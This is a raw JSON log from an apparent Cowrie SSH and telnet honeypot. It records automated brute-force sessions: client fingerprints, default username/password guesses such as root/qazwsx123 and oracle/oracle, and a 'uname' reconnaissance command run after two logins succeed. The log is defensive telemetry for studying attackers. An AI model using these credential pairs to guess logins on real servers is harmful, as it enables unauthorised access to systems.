{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:40.891149Z","src_ip":"45.153.34.114","session":"b33097e084e7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:41.106178Z","src_ip":"45.153.34.114","session":"b33097e084e7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:41.109944Z","src_ip":"45.153.34.114","session":"b33097e084e7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:41.197438Z","src_ip":"45.153.34.114","session":"b33097e084e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:41.203363Z","src_ip":"45.153.34.114","session":"b33097e084e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":46690,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcb1a16805f8","protocol":"ssh","message":"New connection: 45.153.34.114:46690 (159.203.135.109:22) [session: bcb1a16805f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:48.466800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:48.470255Z","src_ip":"45.153.34.114","session":"bcb1a16805f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:48.557668Z","src_ip":"45.153.34.114","session":"bcb1a16805f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:48.945701Z","src_ip":"45.153.34.114","session":"bcb1a16805f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:50.033046Z","src_ip":"45.153.34.114","session":"bcb1a16805f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":52170,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcb1f43f7199","protocol":"ssh","message":"New connection: 45.153.34.114:52170 (159.203.135.109:22) [session: bcb1f43f7199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:57.027189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:57.078158Z","src_ip":"45.153.34.114","session":"bcb1f43f7199","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:57.116244Z","src_ip":"45.153.34.114","session":"bcb1f43f7199","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:57.456193Z","src_ip":"45.153.34.114","session":"bcb1f43f7199","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:57.672445Z","src_ip":"45.153.34.114","session":"bcb1f43f7199","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:57.675753Z","src_ip":"45.153.34.114","session":"bcb1f43f7199","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:57.762641Z","src_ip":"45.153.34.114","session":"bcb1f43f7199","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:57.767826Z","src_ip":"45.153.34.114","session":"bcb1f43f7199","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":36488,"dst_ip":"159.203.135.109","dst_port":22,"session":"d65458b4135b","protocol":"ssh","message":"New connection: 45.153.34.114:36488 (159.203.135.109:22) [session: d65458b4135b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:05.048347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:05.053855Z","src_ip":"45.153.34.114","session":"d65458b4135b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:05.153784Z","src_ip":"45.153.34.114","session":"d65458b4135b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpuadmin","password":"gpuadmin","message":"login attempt [gpuadmin/gpuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:05.417550Z","src_ip":"45.153.34.114","session":"d65458b4135b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":48568,"dst_ip":"10.17.0.5","dst_port":22,"session":"230916f51c9e","protocol":"ssh","message":"New connection: 80.94.92.182:48568 (10.17.0.5:22) [session: 230916f51c9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:05.434956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:05.457962Z","src_ip":"80.94.92.182","session":"230916f51c9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:05.649265Z","src_ip":"80.94.92.182","session":"230916f51c9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:06.503407Z","src_ip":"45.153.34.114","session":"d65458b4135b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:06.626249Z","src_ip":"80.94.92.182","session":"230916f51c9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:07.846576Z","src_ip":"80.94.92.182","session":"230916f51c9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":41174,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb2a2982a2fb","protocol":"telnet","message":"New connection: 74.91.213.120:41174 (159.203.135.109:23) [session: cb2a2982a2fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:12.358494Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":44694,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e11023f2ec7","protocol":"ssh","message":"New connection: 45.153.34.114:44694 (159.203.135.109:22) [session: 8e11023f2ec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:13.263897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:13.268408Z","src_ip":"45.153.34.114","session":"8e11023f2ec7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:13.355666Z","src_ip":"45.153.34.114","session":"8e11023f2ec7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123","message":"login attempt [root/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:13.619426Z","src_ip":"45.153.34.114","session":"8e11023f2ec7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:14.708207Z","src_ip":"45.153.34.114","session":"8e11023f2ec7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":35732,"dst_ip":"159.203.135.109","dst_port":22,"session":"72204d5b52f8","protocol":"ssh","message":"New connection: 45.153.34.114:35732 (159.203.135.109:22) [session: 72204d5b52f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:20.959896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:21.031249Z","src_ip":"45.153.34.114","session":"72204d5b52f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:21.162660Z","src_ip":"45.153.34.114","session":"72204d5b52f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:21.583052Z","src_ip":"45.153.34.114","session":"72204d5b52f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:22.670147Z","src_ip":"45.153.34.114","session":"72204d5b52f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":38168,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd217d583956","protocol":"telnet","message":"New connection: 74.91.213.120:38168 (159.203.135.109:23) [session: fd217d583956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:24.178723Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":35742,"dst_ip":"159.203.135.109","dst_port":22,"session":"3826e64f17ef","protocol":"ssh","message":"New connection: 45.153.34.114:35742 (159.203.135.109:22) [session: 3826e64f17ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:28.814696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:28.821829Z","src_ip":"45.153.34.114","session":"3826e64f17ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:28.909866Z","src_ip":"45.153.34.114","session":"3826e64f17ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wizard","password":"wizard","message":"login attempt [wizard/wizard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:29.224872Z","src_ip":"45.153.34.114","session":"3826e64f17ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:30.319137Z","src_ip":"45.153.34.114","session":"3826e64f17ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":53898,"dst_ip":"159.203.135.109","dst_port":22,"session":"5676bb7719a2","protocol":"ssh","message":"New connection: 45.153.34.114:53898 (159.203.135.109:22) [session: 5676bb7719a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:37.004754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:37.011393Z","src_ip":"45.153.34.114","session":"5676bb7719a2","protocol":"ssh"}
